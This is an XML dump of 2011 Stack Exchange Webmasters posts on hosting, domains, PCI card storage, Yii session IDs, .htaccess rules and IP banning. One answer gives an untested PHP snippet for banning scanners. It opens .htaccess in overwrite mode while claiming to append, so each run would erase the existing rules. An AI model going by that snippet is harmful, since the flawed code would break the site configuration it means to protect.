  <row Id="20322" PostHistoryTypeId="2" PostId="9244" RevisionGUID="71080da9-d470-4ef9-aa6b-741f1c165cf3" CreationDate="2011-02-16T17:05:09.270" UserId="5428" Text="i have made a website and hosted in my local computer using a static ip&#xD;&#xA;&#xD;&#xA;where can i buy a domain name such as www.something.com such that it can redirect to my static ip&#xD;&#xA;&#xD;&#xA;so that if i m using a page like a http://localhost/index.jsp it can be accessed by&#xD;&#xA;&#xD;&#xA;http://www.something.com/index.jsp&#xD;&#xA;&#xD;&#xA;does it matter if i run the server locally or i buy a managed web hosting server from a big company if the traffic is low on my site??&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="20323" PostHistoryTypeId="1" PostId="9244" RevisionGUID="71080da9-d470-4ef9-aa6b-741f1c165cf3" CreationDate="2011-02-16T17:05:09.270" UserId="5428" Text="web hosting locally" />
  <row Id="20324" PostHistoryTypeId="3" PostId="9244" RevisionGUID="71080da9-d470-4ef9-aa6b-741f1c165cf3" CreationDate="2011-02-16T17:05:09.270" UserId="5428" Text="&lt;web-hosting&gt;" />
  <row Id="20325" PostHistoryTypeId="2" PostId="9245" RevisionGUID="22796705-7eef-4ad8-8b15-c71f1e62adff" CreationDate="2011-02-16T17:15:32.767" UserDisplayName="user5447" Text="I have a business website, www.stockrumors.com, and it is a pretty simple design on the user side of things but the back end and admin side of things are a bit more complicated.  Is it possible to create a new site with Squarespace and link the back end functionality to that site so as not to lose any subscriber or database information?" />
  <row Id="20326" PostHistoryTypeId="1" PostId="9245" RevisionGUID="22796705-7eef-4ad8-8b15-c71f1e62adff" CreationDate="2011-02-16T17:15:32.767" UserDisplayName="user5447" Text="Looking to move current e-commerce website to Squarespace " />
  <row Id="20327" PostHistoryTypeId="3" PostId="9245" RevisionGUID="22796705-7eef-4ad8-8b15-c71f1e62adff" CreationDate="2011-02-16T17:15:32.767" UserDisplayName="user5447" Text="&lt;database&gt;&lt;business&gt;" />
  <row Id="20328" PostHistoryTypeId="2" PostId="9246" RevisionGUID="c54e73fc-6dfa-4427-abac-3de8a776b573" CreationDate="2011-02-16T17:20:19.003" UserId="1253" Text="If you host it locally you will need to set up DNS for your domain name and it will need to be able to handle dynamic IP addresses if you do not have a static IP address. If you have a static IP address at home then you can use a company like ZoneEdit to manage your DNS for you and point your domain to your home IP. If you have dynamic IP address then you can [DynDNS.com][1] to handle your DNSas they offer software that manages the changing IP address for you and allows users to always find you using your domain name.&#xD;&#xA;&#xD;&#xA;If you get hosting from a hosting provider you don't have to worry about any of that.&#xD;&#xA;&#xD;&#xA;Otherwise the hosting will be similar although if you host it yourself you obviously can do whatever you want with your webserver and don't have to worry about restrictions placed on you by your host.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dyndns.com/" />
  <row Id="20329" PostHistoryTypeId="25" PostId="9244" RevisionGUID="24d4e392-5416-4ebb-9960-56edc9092399" CreationDate="2011-02-16T17:22:29.560" Comment="http://twitter.com/#!/StackWebmasters/status/37924791960731648" />
  <row Id="20330" PostHistoryTypeId="6" PostId="9245" RevisionGUID="e651d185-db76-433c-a6b8-64d2daf8ae0a" CreationDate="2011-02-16T17:22:34.633" UserId="1253" Comment="removed &quot;business&quot; tag, added &quot;squarespace migration&quot; tag" Text="&lt;database&gt;&lt;migration&gt;&lt;squarespace&gt;" />
  <row Id="20331" PostHistoryTypeId="2" PostId="9247" RevisionGUID="020deb43-23b3-4d52-8b32-563ae566fa93" CreationDate="2011-02-16T17:48:41.860" UserId="5448" Text="I run a website where &quot;x.php&quot; was known to have vulnerabilities. The vulnerability has been fixed and I don't have &quot;x.php&quot; on my site anymore.&#xD;&#xA;&#xD;&#xA;As such with major public vulnerabilities, it seems script kiddies around are running tools that hitting my site looking for &quot;x.php&quot; in the entire structure of the site - constantly, 24/7.&#xD;&#xA;&#xD;&#xA;This is wasted bandwidth, traffic and load that I don't really need.&#xD;&#xA;&#xD;&#xA;Is there a way to trigger a time-based (or permanent) ban to an IP address that tries to access &quot;x.php&quot; anywhere on my site?&#xD;&#xA;&#xD;&#xA;Perhaps I need a custom 404 PHP page that captures the fact that the request was for &quot;x.php&quot; and then that triggers the ban? How can I do that?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="20332" PostHistoryTypeId="1" PostId="9247" RevisionGUID="020deb43-23b3-4d52-8b32-563ae566fa93" CreationDate="2011-02-16T17:48:41.860" UserId="5448" Text="Trigger IP ban based on request of given file?" />
  <row Id="20333" PostHistoryTypeId="3" PostId="9247" RevisionGUID="020deb43-23b3-4d52-8b32-563ae566fa93" CreationDate="2011-02-16T17:48:41.860" UserId="5448" Text="&lt;security&gt;&lt;htaccess&gt;&lt;ip-address&gt;" />
  <row Id="20334" PostHistoryTypeId="2" PostId="9248" RevisionGUID="0682c923-d6a0-4bae-b26f-aa8cef8e2293" CreationDate="2011-02-16T17:49:08.667" UserId="2839" Text="is there any other web Ribbon like the one in Sharepoint or this one http://jqueryribbon.codeplex.com/?" />
  <row Id="20335" PostHistoryTypeId="1" PostId="9248" RevisionGUID="0682c923-d6a0-4bae-b26f-aa8cef8e2293" CreationDate="2011-02-16T17:49:08.667" UserId="2839" Text="Ribbon for a web page" />
  <row Id="20336" PostHistoryTypeId="3" PostId="9248" RevisionGUID="0682c923-d6a0-4bae-b26f-aa8cef8e2293" CreationDate="2011-02-16T17:49:08.667" UserId="2839" Text="&lt;gui&gt;" />
  <row Id="20337" PostHistoryTypeId="2" PostId="9249" RevisionGUID="2ef2fade-8461-4fc8-adc7-cefb8c5fa2a2" CreationDate="2011-02-16T18:03:21.320" UserId="1253" Text="Recreate x.php and have it collect the IP address of anyone trying to reaching it. Then create (or modify) a .htaccess file that blocks them using Apache. The .htaccess file will look like this:&#xD;&#xA;&#xD;&#xA;    order deny,allow&#xD;&#xA;    deny from 123.123.123.123&#xD;&#xA;    deny from 353.345.345.345&#xD;&#xA;&#xD;&#xA;Just keep appending to that file any IP address you want banned.&#xD;&#xA;&#xD;&#xA;The x.php might look like this: (untested)&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;        $fp = fopen('.htaccess', 'w');&#xD;&#xA;        fwrite($fp, 'deny from  ' . $_SERVER['REMOTE_ADDR'] . &quot;\n&quot;);&#xD;&#xA;        fclose($fp);&#xD;&#xA;    ?&gt;" />
  <row Id="20338" PostHistoryTypeId="2" PostId="9250" RevisionGUID="791439a7-2c43-4719-b193-569014d5b223" CreationDate="2011-02-16T18:19:59.067" UserId="769" Text="I use cookie based sessions, and they work for normal interaction with our site. However, when Googlebot comes crawling out PHP framework, Yii, needs to append `?PHPSESSID` to each URL, which doesn't look that good in SERP. &#xD;&#xA;&#xD;&#xA;Any ways to suppress this behavior? &#xD;&#xA;&#xD;&#xA;PS. I tried to utilize `ini_set('session.use_only_cookies', '1');`, but it does not work.&#xD;&#xA;&#xD;&#xA;PPS. To get an impression of the SERP, they look like this:&#xD;&#xA;&#xD;&#xA;* http://www.google.com/search?q=site:wwwdup.uni-leipzig.de+inurl:jobportal" />
  <row Id="20339" PostHistoryTypeId="1" PostId="9250" RevisionGUID="791439a7-2c43-4719-b193-569014d5b223" CreationDate="2011-02-16T18:19:59.067" UserId="769" Text="How to suppress PHPSESSID in URL for Googlebot?" />
  <row Id="20340" PostHistoryTypeId="3" PostId="9250" RevisionGUID="791439a7-2c43-4719-b193-569014d5b223" CreationDate="2011-02-16T18:19:59.067" UserId="769" Text="&lt;google&gt;&lt;php&gt;&lt;url&gt;&lt;indexing&gt;&lt;clean-urls&gt;" />
  <row Id="20342" PostHistoryTypeId="2" PostId="9252" RevisionGUID="cc626a4b-910f-4700-a8b8-8f375580836f" CreationDate="2011-02-16T18:34:42.933" UserId="5449" Text="Is there a service or site out there that will store cardholder data for me?  I don't need any kind of transaction processing or recurring billing... I just need somewhere that I can store data on until someone in my company is able to look at it.&#xD;&#xA;&#xD;&#xA;The specific need is allowing customers to input data that will be used for credit checks. Name, Address, Credit Card(s), and the such.&#xD;&#xA;&#xD;&#xA;Google Checkout, PayPal, NetSuite, and Authorize.net seem to be what everyone suggests to me, but they don't offer what I need -- they're just payment gateways." />
  <row Id="20343" PostHistoryTypeId="1" PostId="9252" RevisionGUID="cc626a4b-910f-4700-a8b8-8f375580836f" CreationDate="2011-02-16T18:34:42.933" UserId="5449" Text="Off-site Cardholder Data Storage" />
  <row Id="20344" PostHistoryTypeId="3" PostId="9252" RevisionGUID="cc626a4b-910f-4700-a8b8-8f375580836f" CreationDate="2011-02-16T18:34:42.933" UserId="5449" Text="&lt;storage&gt;&lt;pci-compliance&gt;" />
  <row Id="20345" PostHistoryTypeId="5" PostId="9247" RevisionGUID="e219d1b9-c4f6-4e8b-b541-8fe0b89f9f75" CreationDate="2011-02-16T18:44:01.007" UserId="1253" Comment="deleted their answer which was a comment, added it to the question" Text="I run a website where &quot;x.php&quot; was known to have vulnerabilities. The vulnerability has been fixed and I don't have &quot;x.php&quot; on my site anymore.&#xD;&#xA;&#xD;&#xA;As such with major public vulnerabilities, it seems script kiddies around are running tools that hitting my site looking for &quot;x.php&quot; in the entire structure of the site - constantly, 24/7.&#xD;&#xA;&#xD;&#xA;This is wasted bandwidth, traffic and load that I don't really need.&#xD;&#xA;&#xD;&#xA;Is there a way to trigger a time-based (or permanent) ban to an IP address that tries to access &quot;x.php&quot; anywhere on my site?&#xD;&#xA;&#xD;&#xA;Perhaps I need a custom 404 PHP page that captures the fact that the request was for &quot;x.php&quot; and then that triggers the ban? How can I do that?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;I should add that part of hardening my site, I've started using [ZBBlock][1]:&#xD;&#xA;&#xD;&#xA;&gt; This php security script is designed&#xD;&#xA;&gt; to detect certain behaviors&#xD;&#xA;&gt; detrimental to websites, or known bad&#xD;&#xA;&gt; addresses attempting to access your&#xD;&#xA;&gt; site. It then will send the bad robot&#xD;&#xA;&gt; (usually) or hacker an authentic 403&#xD;&#xA;&gt; FORBIDDEN page with a description of&#xD;&#xA;&gt; what the problem was. If the attacker&#xD;&#xA;&gt; persists, then they will be served up&#xD;&#xA;&gt; a permanently reccurring 503 OVERLOAD&#xD;&#xA;&gt; message with a 24 hour timeout.&#xD;&#xA;&#xD;&#xA;But ZBBlock doesn't do quite exactly what I want to do, it does help with other spam/script/hack blocking.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.spambotsecurity.com/zbblock.php" />
  <row Id="20347" PostHistoryTypeId="2" PostId="9253" RevisionGUID="0ec739a1-26f7-4c59-961b-a8cc6b148637" CreationDate="2011-02-16T19:09:42.713" UserId="5451" Text="I was interested in knowing percentage of people that use search feature on a website as opposed to the navigation bar. Has search bar become more powerful than the traditional navigation bar for finding data on the site? Has the &quot;sitemap&quot; become obsolete? &#xD;&#xA;I know it might be a subjective question but if someone has statistics on this or a technical paper, that will be great." />
  <row Id="20348" PostHistoryTypeId="1" PostId="9253" RevisionGUID="0ec739a1-26f7-4c59-961b-a8cc6b148637" CreationDate="2011-02-16T19:09:42.713" UserId="5451" Text="Does anyone have statistics on percentage of people that use search feature on a website as opposed to the navigation bar" />
  <row Id="20349" PostHistoryTypeId="3" PostId="9253" RevisionGUID="0ec739a1-26f7-4c59-961b-a8cc6b148637" CreationDate="2011-02-16T19:09:42.713" UserId="5451" Text="&lt;sitemap&gt;&lt;website-features&gt;&lt;search&gt;&lt;navigation&gt;" />
  <row Id="20350" PostHistoryTypeId="25" PostId="9247" RevisionGUID="653c569c-188c-45ac-9e0a-3fedc1e0d26e" CreationDate="2011-02-16T20:22:30.273" Comment="http://twitter.com/#!/StackWebmasters/status/37970092801134592" />
  <row Id="20351" PostHistoryTypeId="2" PostId="9254" RevisionGUID="5d57fbab-0ad3-470e-ab46-eb67c7989a29" CreationDate="2011-02-16T20:49:49.300" UserId="108" Text="In general there won't be many companies that store that data for you and they will be processors.  The reason is because of PCI compliance. You have to follow strict standards to store card numbers.  Check out the Wikipedia article on PCI compliance, http://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard.  &#xD;&#xA;&#xD;&#xA;The PCI compliance website might also give you some leads if you are still interested. https://www.pcisecuritystandards.org/" />
  <row Id="20355" PostHistoryTypeId="2" PostId="9256" RevisionGUID="1ccdbe5b-7952-493a-a77f-e70b13ce9b81" CreationDate="2011-02-16T20:54:45.100" UserId="108" Text="Every site is different. I manage a site that gets over 100k visits a month and we get about 2k searches over the same period of time.  The amount of searches done is really a function of how many pages you have in your site, how easy your navigation is, how well you search works, and if you have long tail searches like people checking a government site for a specific law or document from hundreds of thousands." />
  <row Id="20359" PostHistoryTypeId="2" PostId="9257" RevisionGUID="24b65cd1-1adb-4ef4-b52f-6315bf07df7f" CreationDate="2011-02-16T20:57:52.150" UserId="108" Text="Have you tried using rel=&quot;canonical&quot;? This link should help explain, http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=139394." />
  <row Id="20360" PostHistoryTypeId="2" PostId="9258" RevisionGUID="e42630c8-0522-443c-be44-44d6e7257083" CreationDate="2011-02-16T20:59:36.020" UserId="4929" Text="Magento may well be the most robust PHP shop solution, but it is big, resource hungry and not easy to implement or customize as others noted. Prestashop may not be as matured and it lacks a lot of the more advanced features, BUT it is impressively easy to learn both to the developer/webmaster and to the owner. I honestly think it will become the most popular solution in just a couple of years. " />
  <row Id="20361" PostHistoryTypeId="2" PostId="9259" RevisionGUID="b5adeb50-67af-43a6-84dc-daa62c5a3353" CreationDate="2011-02-16T21:14:29.910" UserId="4524" Text="I have done this before on GoDaddy without a hitch, but I cannot seem to figure out this particular case.&#xD;&#xA;&#xD;&#xA;I have a domain space with temporary url http://yogainun.mysubname.com/ and am hosting the domain name that is to be applied to it at 1und1.de. Right now I have set it up so that from the 1und1 domain name hosting the address http://www.yoga-in-unternehmen.de/ is frame redirected to the subdomain that I just referred to.&#xD;&#xA;&#xD;&#xA;But this is not what I want.&#xD;&#xA;&#xD;&#xA;http://www.yoga-in-unternehmen.de/ is to be the domain. With the frame redirect, url's like http://www.yoga-in-unternehmen.de/example-article do not show up. But this is what I want.&#xD;&#xA;&#xD;&#xA;With godaddy in a similar case, I just turned on DNS and changed the name servers. That worked without problem, but with 1und1 not. Is there something I am missing?" />
  <row Id="20362" PostHistoryTypeId="1" PostId="9259" RevisionGUID="b5adeb50-67af-43a6-84dc-daa62c5a3353" CreationDate="2011-02-16T21:14:29.910" UserId="4524" Text="Directing from a 1und1 hosting solution, with urls intact" />
  <row Id="20363" PostHistoryTypeId="3" PostId="9259" RevisionGUID="b5adeb50-67af-43a6-84dc-daa62c5a3353" CreationDate="2011-02-16T21:14:29.910" UserId="4524" Text="&lt;web-hosting&gt;&lt;redirects&gt;" />
  <row Id="20364" PostHistoryTypeId="5" PostId="9253" RevisionGUID="be1e045d-5f12-4c67-a51a-9e00dab9d19d" CreationDate="2011-02-16T21:14:49.160" UserId="5451" Comment="added 6 characters in body" Text="I was interested in knowing percentage of people that use search feature on a website as opposed to the navigation bar. Has search bar become more powerful than the traditional navigation bar for finding data on the site? Has the &quot;sitemap&quot; become obsolete? &#xD;&#xA;I know it might be a subjective question but if someone has statistics on this or a white/technical paper, that will be great." />
  <row Id="20365" PostHistoryTypeId="2" PostId="9260" RevisionGUID="4987ae3c-b881-4973-97b9-36d8f09fccfb" CreationDate="2011-02-16T21:37:28.443" UserId="2333" Text="Question: What is the best game plan for building what I want. I'm rebuilding the company intranet and am trying to get our &quot;Portals&quot; system re-created in Drupal. I'm trying to learn Panels, because thats what I think would do this, but I just can't seem to get it working.&#xD;&#xA;&#xD;&#xA;Menu at top, drop down lists for various webpages, tools, internal applications... and Department Portals.  &#xD;&#xA;![Portals][1]&#xD;&#xA;&#xD;&#xA;When you click on a department portal, you get the same menu at top... and on the main part of the page you have a menu on the left, with content on the right. Menu stays on the left, content loads next to it. Each Portal has its own menu and content (least of which is &quot;Home&quot;).&#xD;&#xA;![Individual Portal][2]&#xD;&#xA;&#xD;&#xA;Ultimately, I'd like to be able to say  &#xD;&#xA;- users with role &quot;Foo&quot; can add/edit/delete Portal Bar.   &#xD;&#xA;- Each Portal starts with a &quot;Home&quot;&#xD;&#xA;- Each Portal has its own Menu tree's. (Picture 2 above has a &lt; ul &gt; for video tutorials that would be a second level menu. So more than one deep.)  &#xD;&#xA;- Content on the right side of the portal should be flexible (Video, PDF via fileviewer, etc)  &#xD;&#xA;- Portal Bar should have its own Folder to contain it's content.  &#xD;&#xA;&#xD;&#xA;I'm trying to do this in Panels, but I can't seem to put the pieces together in my mind and in practice. I hope I'm making sense, because the dizzying array of stuff is killing me lol.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/vgC8s.jpg&#xD;&#xA;  [2]: http://i.stack.imgur.com/0VyQJ.jpg" />
  <row Id="20366" PostHistoryTypeId="1" PostId="9260" RevisionGUID="4987ae3c-b881-4973-97b9-36d8f09fccfb" CreationDate="2011-02-16T21:37:28.443" UserId="2333" Text="Drupal 7 Advice Needed: &quot;Portal&quot; Creation" />
  <row Id="20367" PostHistoryTypeId="3" PostId="9260" RevisionGUID="4987ae3c-b881-4973-97b9-36d8f09fccfb" CreationDate="2011-02-16T21:37:28.443" UserId="2333" Text="&lt;drupal&gt;&lt;intranet&gt;" />
  <row Id="20368" PostHistoryTypeId="2" PostId="9261" RevisionGUID="6f327939-6ef8-4495-bcd8-b4518c88fc5e" CreationDate="2011-02-16T22:25:31.417" UserId="3590" Text="my webroot folder /httpdocs folder contains a .htaccess file&#xD;&#xA;&#xD;&#xA;The first lines look like this:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteBase /&#xD;&#xA;    AddDefaultCharset UTF-8&#xD;&#xA;    Options +FollowSymLinks -Indexes -ExecCGI&#xD;&#xA;    # DirectoryIndex index.php /index.php&#xD;&#xA;    # ServerSignature Off&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now, I want all settings that I have set it to, to be propagated automatically to other folders as well.  &#xD;&#xA;How can I do that? Thanks very much for suggestions." />
  <row Id="20369" PostHistoryTypeId="1" PostId="9261" RevisionGUID="6f327939-6ef8-4495-bcd8-b4518c88fc5e" CreationDate="2011-02-16T22:25:31.417" UserId="3590" Text="Propagaging Apache rules Automatically for all folders Beneath Root" />
  <row Id="20370" PostHistoryTypeId="3" PostId="9261" RevisionGUID="6f327939-6ef8-4495-bcd8-b4518c88fc5e" CreationDate="2011-02-16T22:25:31.417" UserId="3590" Text="&lt;apache&gt;&lt;htaccess&gt;" />
  <row Id="20371" PostHistoryTypeId="17" PostId="9261" RevisionGUID="a3ba190e-cd5d-4d33-b9b8-7952c77ec263" CreationDate="2011-02-16T22:27:44.770" UserId="-1" Comment="from http://serverfault.com/questions/236475/propagaging-apache-rules-automatically-for-all-folders-beneath-root" Text="" />
  <row Id="20372" PostHistoryTypeId="2" PostId="9262" RevisionGUID="db257190-84d9-4f39-be02-afee8f15872e" CreationDate="2011-02-16T23:15:34.843" UserDisplayName="user5458" Text="I have built a form input page in HTML that&#xD;&#xA;has an action to post to an ASP handler/processor&#xD;&#xA;.asp file. The form handler/processor .asp file&#xD;&#xA;contains only &lt;% Insert VBScript Here %&gt; and no&#xD;&#xA;HTML output whatsoever.&#xD;&#xA;&#xD;&#xA;The .asp file was never intended to be a&#xD;&#xA;&quot;web viewable&quot; .asp file like an .asp home page&#xD;&#xA;file or html file would. It's supposed to be&#xD;&#xA;for my eyes only- not the public's however&#xD;&#xA;it does need to take info posted by the public&#xD;&#xA;and do something with it on it's end.&#xD;&#xA;&#xD;&#xA;I have used VBScript/ASP3.0 to build the form&#xD;&#xA;handler/processor file and would like to know how&#xD;&#xA;to keep someone from viewing the actual VBScript&#xD;&#xA;in the handler/processor .asp file. I am aware of&#xD;&#xA;obfuscation but I would like to know how to keep&#xD;&#xA;prying eyes from even being able to take a look&#xD;&#xA;at the obfuscated code in the handler/processor&#xD;&#xA;file.&#xD;&#xA;&#xD;&#xA;I realize that the server executes the .asp file&#xD;&#xA;first before outputting anything to the browser so&#xD;&#xA;I guess that my main concern is mostly that someone&#xD;&#xA;may could &quot;download&quot; the form handler/processor .asp file,&#xD;&#xA;then view it's contents on their machine.&#xD;&#xA;&#xD;&#xA;Assuming the form handler .asp file is where it is,&#xD;&#xA;behind the root, and is on a windows server&#xD;&#xA;(no htaccess approach) how could one protect it so that&#xD;&#xA;it could never be viewed or simply pulled down via&#xD;&#xA;anonymous ftp or something like that?&#xD;&#xA;&#xD;&#xA;Is there something like &quot;script only&quot; permissions that&#xD;&#xA;the system administrator could set up for a particular&#xD;&#xA;folder? Remember, with shared hosting I can't go above&#xD;&#xA;the root. If so, would the form still be able to post?&#xD;&#xA;&#xD;&#xA;How would any of you guys go about protecting the&#xD;&#xA;asp file in addition to obfuscation? Any help would&#xD;&#xA;be greatly appreciated.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;ASP Pee-Wee" />
  <row Id="20373" PostHistoryTypeId="1" PostId="9262" RevisionGUID="db257190-84d9-4f39-be02-afee8f15872e" CreationDate="2011-02-16T23:15:34.843" UserDisplayName="user5458" Text="ASP 3.0 Folder/File Permissions Settings (ASP Classic)" />
  <row Id="20374" PostHistoryTypeId="3" PostId="9262" RevisionGUID="db257190-84d9-4f39-be02-afee8f15872e" CreationDate="2011-02-16T23:15:34.843" UserDisplayName="user5458" Text="&lt;asp.net&gt;" />
  <row Id="20375" PostHistoryTypeId="25" PostId="9261" RevisionGUID="ff0877b0-0f74-4c41-be10-2cb5724171ae" CreationDate="2011-02-16T23:22:30.633" Comment="http://twitter.com/#!/StackWebmasters/status/38015392941219840" />
  <row Id="20376" PostHistoryTypeId="2" PostId="9263" RevisionGUID="69a108f6-f0e4-4397-a7aa-88df6f3a1e22" CreationDate="2011-02-16T23:25:50.567" UserId="1894" Text="A friend pointed me towards [PhoneGap][1], a platform that compiles HTML/CSS/Javascript into smart-phone applications, and allows native API calls ([to access sensor data among other things][2]) through an extended library of JavaScript-like functions.&#xD;&#xA;&#xD;&#xA;This effectively affords web developers access to smart-phone sensors with their existing development paradigm, albeit deployed via an installable application rather than accessible from an arbitrary browser.&#xD;&#xA;&#xD;&#xA;It's not exactly what I asked for, but I think it's the closest thing that exists right now.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.phonegap.com/&#xD;&#xA;  [2]: http://www.phonegap.com/features" />
  <row Id="20377" PostHistoryTypeId="2" PostId="9264" RevisionGUID="43410aa2-fbbe-44a4-b0a6-2cbb8579afcc" CreationDate="2011-02-16T23:26:30.410" UserId="4021" Text="I noticed a site using this tag:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;search&quot; type=&quot;application/opensearchdescription+xml&quot; title=&quot;XXXXXXXXX&quot; href=&quot;http://www.XXXXXXXXXX.com/api/opensearch&quot; /&gt;&#xD;&#xA;&#xD;&#xA;As I understand it (based on http://www.opensearch.org/Home), this tag is a way of describing search results (so you use it on pages which contain search results) to make it easier for other search engines to understand and use your results.&#xD;&#xA;&#xD;&#xA;Given that Matt Cutts has said Google generally frowns on &quot;search results within search results&quot; is using this tag a bad idea on a page that you hope to achieve a good ranking in Google?&#xD;&#xA;" />
  <row Id="20378" PostHistoryTypeId="1" PostId="9264" RevisionGUID="43410aa2-fbbe-44a4-b0a6-2cbb8579afcc" CreationDate="2011-02-16T23:26:30.410" UserId="4021" Text="OpenSearchDescriptions good or bad signal in Google's eyes?" />
  <row Id="20379" PostHistoryTypeId="3" PostId="9264" RevisionGUID="43410aa2-fbbe-44a4-b0a6-2cbb8579afcc" CreationDate="2011-02-16T23:26:30.410" UserId="4021" Text="&lt;seo&gt;" />
  <row Id="20380" PostHistoryTypeId="2" PostId="9265" RevisionGUID="7ce2ad9c-5a03-4ad3-82bd-533a36382de6" CreationDate="2011-02-16T23:38:25.100" UserId="1253" Text="No. That's just meta content that other user agents (a.k.a. browsers, software) can use to find those results. What Matt Cutts is talking about are pages whose content is just search results from within your site. If the content of your page is just a search result then you run the risk of Google penalizing the page." />
  <row Id="20381" PostHistoryTypeId="2" PostId="9266" RevisionGUID="5382f29b-16e2-4c31-a89e-c89850b42a98" CreationDate="2011-02-16T23:48:03.890" UserDisplayName="user5460" Text="Options directives will be applied to all subdirectories , and can be overridden with .htaccess file in each subdirectory.&#xD;&#xA;&#xD;&#xA;mod_rewrite rules thou are not 'propagated' thou" />
  <row Id="20382" PostHistoryTypeId="2" PostId="9267" RevisionGUID="f283eac8-7727-47af-a559-528c50496ef8" CreationDate="2011-02-17T00:04:31.753" UserId="5461" Text="My regular domain is one I got from GoDaddy.&#xD;&#xA;&#xD;&#xA;Just recently, I registered a short .cr domain (Costa Rica) in http://www.nic.cr/ . During registration, they asked for nameservers (and just nameservers), so I thought of reusing my GoDaddy nameservers.&#xD;&#xA;&#xD;&#xA;I kinda thought it would just be a straight-forward mapping, but nothing's happening, though. What am I missing here?&#xD;&#xA;&#xD;&#xA;(There is an option to use their own nameservers, but I just wanted to explore this option. If there's nothing to be had here, I'll fall back to using theirs.)" />
  <row Id="20383" PostHistoryTypeId="1" PostId="9267" RevisionGUID="f283eac8-7727-47af-a559-528c50496ef8" CreationDate="2011-02-17T00:04:31.753" UserId="5461" Text="Can I reuse my nameservers from one domain registrar with another?" />
  <row Id="20384" PostHistoryTypeId="3" PostId="9267" RevisionGUID="f283eac8-7727-47af-a559-528c50496ef8" CreationDate="2011-02-17T00:04:31.753" UserId="5461" Text="&lt;domains&gt;&lt;domain-registration&gt;&lt;top-level-domains&gt;" />
  <row Id="20385" PostHistoryTypeId="17" PostId="9269" RevisionGUID="e906deca-4735-4260-9782-61dc0a66b654" CreationDate="2011-02-17T01:38:40.507" UserId="-1" Comment="from http://stackoverflow.com/questions/4985784/a-good-image-gallery-upload-script/4985877#4985877" Text="" />
  <row Id="20386" PostHistoryTypeId="2" PostId="9269" RevisionGUID="92c9ea48-121a-40fc-8af8-3a5a24cac1f9" CreationDate="2011-02-13T18:05:41.180" UserDisplayName="Ronan Dejhero" Text="try : http://tinyurl.com/4q5kkdw" />
  <row Id="20387" PostHistoryTypeId="2" PostId="9268" RevisionGUID="db86cdfd-270f-40ad-b761-258ec65b18f7" CreationDate="2011-02-13T17:46:33.933" UserDisplayName="Thew" Text="![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I would like to have a image upload / gallery script that looks something like this...&#xD;&#xA;And with an admin, max 9 images per page, max 5 images to upload / day, max filesize of 512 kb, only jpg, png and bmp support, etc etc etc...&#xD;&#xA;Is that possible? Is there a script for that? &#xD;&#xA;Greetings&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/HJBu1.png" />
  <row Id="20388" PostHistoryTypeId="1" PostId="9268" RevisionGUID="db86cdfd-270f-40ad-b761-258ec65b18f7" CreationDate="2011-02-13T17:46:33.933" UserDisplayName="Thew" Text="A good image gallery + upload script?" />
  <row Id="20389" PostHistoryTypeId="3" PostId="9268" RevisionGUID="db86cdfd-270f-40ad-b761-258ec65b18f7" CreationDate="2011-02-13T17:46:33.933" UserDisplayName="Thew" Text="&lt;php&gt;&lt;image&gt;" />
  <row Id="20390" PostHistoryTypeId="17" PostId="9268" RevisionGUID="c66e2258-1501-41ab-a9c7-abda6e38092e" CreationDate="2011-02-17T01:38:40.507" UserId="-1" Comment="from http://stackoverflow.com/questions/4985784/a-good-image-gallery-upload-script" Text="" />
  <row Id="20391" PostHistoryTypeId="2" PostId="9270" RevisionGUID="15c328dc-d877-4fba-a2af-fbaac81bd096" CreationDate="2011-02-17T02:02:16.083" UserId="1022" Text="Try adding `CHttpSession::setUseTransparentSessionID(true)` ([api][1]) somewhere in your Yii app, if it doesn't already exist.&#xD;&#xA;&#xD;&#xA;I don't like visible session IDs either (triggers the flashbacks of PHP3 vs. broken IE cookies), so I always set it.  I'm not 100% sure it'll fix the issue, but I haven't seen any session IDs sneak into search results for the few Yii apps I've built.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.yiiframework.com/doc/api/1.1/CHttpSession#setUseTransparentSessionID-detail&#xD;&#xA;" />
  <row Id="20392" PostHistoryTypeId="25" PostId="9264" RevisionGUID="dc0f430d-513c-4932-b2b1-705d9470e737" CreationDate="2011-02-17T02:22:30.473" Comment="http://twitter.com/#!/StackWebmasters/status/38060691126632448" />
  <row Id="20393" PostHistoryTypeId="2" PostId="9271" RevisionGUID="0573fb58-6109-4ad7-81a8-31a21d93c728" CreationDate="2011-02-17T04:05:18.253" UserId="3869" Text="I have a domain name which has a relevantly top searched keyword in it. I have not used this for over a year but I plan on doing so soon. Where is the best place to put it up for auction or see if anyone would like to buy it? (I am in the UK) and also Is there a way I can generate revenue from this unused domain name because at the moment I'm just paying for the domain name costs.&#xD;&#xA;" />
  <row Id="20394" PostHistoryTypeId="1" PostId="9271" RevisionGUID="0573fb58-6109-4ad7-81a8-31a21d93c728" CreationDate="2011-02-17T04:05:18.253" UserId="3869" Text="Selling/Generating Revenue from Unused Domain Names " />
  <row Id="20395" PostHistoryTypeId="3" PostId="9271" RevisionGUID="0573fb58-6109-4ad7-81a8-31a21d93c728" CreationDate="2011-02-17T04:05:18.253" UserId="3869" Text="&lt;domains&gt;&lt;advertising&gt;" />
